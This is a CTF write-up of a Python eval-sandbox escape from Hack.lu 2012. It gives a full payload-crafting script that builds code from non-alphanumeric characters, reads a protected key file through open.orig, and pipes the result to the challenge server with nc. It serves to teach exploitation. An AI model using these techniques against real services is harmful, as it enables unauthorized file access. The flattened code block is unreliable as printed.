-
Hack.lu CTF 2012: The Sandboxed Terminal (400 points)
Written by Pierre-Marie de Rodat
October 25, 2012 at 13:001 2 3 4 5 6 7 8 9 10 11
Since the zombie apocalypse started people did not stop to ask themselves how the whole thing began. An abandoned military base may lead to answers but after infiltrating the facility you find yourself in front of a solid steel door with a computer attached. Luckily this terminal seems to connect to a Python service on a remote server to reduce load on the small computer. While your team managed to steal the source, they need your Python expertise to hack this service and get the masterkey which should be stored in a file called key. https://ctf.fluxfingers.net:2076/c7238e81667a085963829e452223b47b/sandbox.py credits: 400 +3 (1st), +2 (2nd), +1 (3rd)
The sandbox source file contains the port number to connect to the terminal. A sessions prompts two numbers and an “operator”. These inputs are checked against regular expressions:
^[\d]{0,4}$for the numbers and^[\W]+$for the operator (and it must not exceed 1899 bytes). If each matches, then if the operator contains a single quote (') the operator is replaced byeval(operator). Then,eval(number1 + operator + number2)is computer and printed.Before all of this, some code wraps builtins in order to prevent imports and uses of
openandfile.Our way to display the content of the
keyfile was first to find a mean to evaluate alphanumerical code from theoperator, and then to bypass the sandbox. The second part was the most easy:open.origgives access to the originalopenbuiltin, thus executingopen.orig('key').read()was enough to reach the key.Finding a way to craft alphanumerical caracters from the operator was far more difficult. The first thing to notice was that
()!=()(which evaluates toFalse) can be used as the number 0, and()==()(which evaluates toTrue) can be used as the number 1. From this, one can craft all possible numbers. Then, it is possible to take a minimal character set using Python’s backtick notation to get the string representation of an expression:`()==()`yields'True'. With non-printable ASCII chars, hexadecimal characters were available after oneeval:1 2
>>> eval('`"\xfe"`[(()==())<<(()==())<<(()==())]') 'e'
When the global
evalis used, the given expression is evaluated from code inside the sandbox method, in whichselfis the wapper ofevalitself! Thus, evaluatingeval('self("0x41")')will return the content of theavariable.Using all these principles, it is possible to execute our code using 3 eval stages:
- first, the remote sandboxed terminal receives our bytes: numbers are empty,
and the
operatorcontains our payload. The payload contains at least one single quote and theoperatoris evaluated once. With the previous tricks, one can craftself("...hexadecimally escaped bytes...") - then, the second
evalevaluatesself(...)which is equivalent toeval("...escaped bytes.."), and since we master completely the escaped bytes, and that these bytes can cover the full byte range, we can do everything!
Thus, we crafted the payload using the following script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
def get_num(n): '''Return a non-alphanum expression that evaluates to the given number.''' if n == 0: return '[]==()' elif n == 1: return '[]!=()' else: return '+'.join('([]!=())' for i in range(n)) # Craft "self("" result = ''.join(( '`{()==()}`[()==[]]+', # 's' '`"\xfe"`[%s]+' % get_num(4), # 'e' '`()==[]`[%s]+' % get_num(2), # 'l' '`"\xff"`[%s]+' % get_num(4), # 'f' '"(\\""+' # '("' )) # Turn the wanted expression into a string of hexadecimally escaped bytes. result += '`\'' for c in 'open.orig("key").read()': o = ord(c) hi = 0xf0 | (o >> 4) lo = 0xf0 | (o & 0x0f) result += '\x01.\x01' result += chr(hi) + '..' result += chr(lo) + '.....' result += '\'`[%s:-(%s):%s]+' % (get_num(1), get_num(1), get_num(6)) # Craft "\")" result += '"\\\")"' # Simulate the sandboxed environment. class Wrapper: pass self=eval open_orig = open open = Wrapper() open.orig = open_orig # Print results to stderr for debugging import sys print >> sys.stderr, '%s bytes: %s' % (len(result), repr(result)) print >> sys.stderr, '--> %s' % repr(eval(result)) print >> sys.stderr, '--> %s' % repr(eval(eval(result))) print '' print '' print result
Finally, we send the payload to the service:
1
python2 craft_payload.py | nc ctf.fluxfingers.net 2060
Key:
dafuq_how_did_you_solve_this_nonalpha_thingy.Tweetblog comments powered by DisqusPermalink & comments - first, the remote sandboxed terminal receives our bytes: numbers are empty,
and the